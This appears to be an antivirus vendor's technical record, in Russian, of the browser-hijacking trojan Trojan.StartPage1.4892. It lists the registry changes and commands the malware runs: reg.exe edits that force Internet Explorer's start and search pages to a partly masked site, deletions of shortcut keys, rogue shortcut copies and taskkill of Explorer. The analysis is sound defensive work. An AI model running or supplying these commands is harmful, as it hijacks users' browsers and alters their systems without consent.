Trojan.StartPage1.4892

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKCU>\Software\Microsoft\Internet Explorer\Desktop\Components\0] 'Source' = 'http://www.chinacp.net/dtop/'

Вредоносные функции:

Запускает на исполнение:

'<SYSTEM32>\xcopy.exe' "2\lnternet Explorer.lnk" "%ALLUSERSPROFILE%\ЎёїЄКјЎ№ІЛµҐ\іМРт\" /k /c /q /r /y
'<SYSTEM32>\xcopy.exe' "3\lnternet Explorer.lnk" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch" /k /c /q /r /y
'<SYSTEM32>\xcopy.exe' "1\lnternet Explorer.lnk" "%ALLUSERSPROFILE%\ЧАГж\" /k /c /q /r /y
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t REG_DWORD /d "00000001" /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t REG_DWORD /d "00000001" /f
'<SYSTEM32>\reg.exe' delete HKEY_CLASSES_ROOT\piffile /v IsShortcut /f
'<SYSTEM32>\taskkill.exe' /f /im IEXPLORE.EXE
'%WINDIR%\explorer.exe'
'<SYSTEM32>\taskkill.exe' /f /im explorer.exe
'<SYSTEM32>\reg.exe' delete HKEY_CLASSES_ROOT\lnkfile /v IsShortcut /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command" /ve /t REG_SZ /d "\"%PROGRAM_FILES%\Internet Explorer\iexplore.exe" http://www.ch##acp.net/?in########### /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\0" /v "RestoredStateInfo" /t REG_BINARY /d "01406C740000000001000C3B30BC1000342D937CA46C0700" /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Search Bar" /t REG_SZ /d "www.ch##acp.net/?in########### /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\0" /v "Source" /t REG_SZ /d "http://www.ch##acp.net/dtop/" /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Search Page" /t REG_SZ /d "www.ch##acp.net/?in########## /f
'<SYSTEM32>\reg.exe' add "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /ve /t REG_SZ /d "\"%PROGRAM_FILES%\Internet Explorer\iexplore.exe\" http://www.54##.cn" /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "www.ch##acp.net/?in########## /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\0" /v "SubscribedURL" /t REG_SZ /d "www.ch##acp.net/?in#### /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\0" /v "CurrentState" /t REG_DWORD /d "0x40000001" /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\0" /v "OriginalStateInfo" /t REG_BINARY /d "1800000064FFFFFF030000009D0000000F00000001000040" /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\0" /v "Position" /t REG_BINARY /d "2C00000064FFFFFF030000009D0000000F000000EC03000001000000010000000100000000000000000000" /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\0" /v "FriendlyName" /t REG_SZ /d "name" /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\0" /v "Flags" /t REG_DWORD /d "0x2002" /f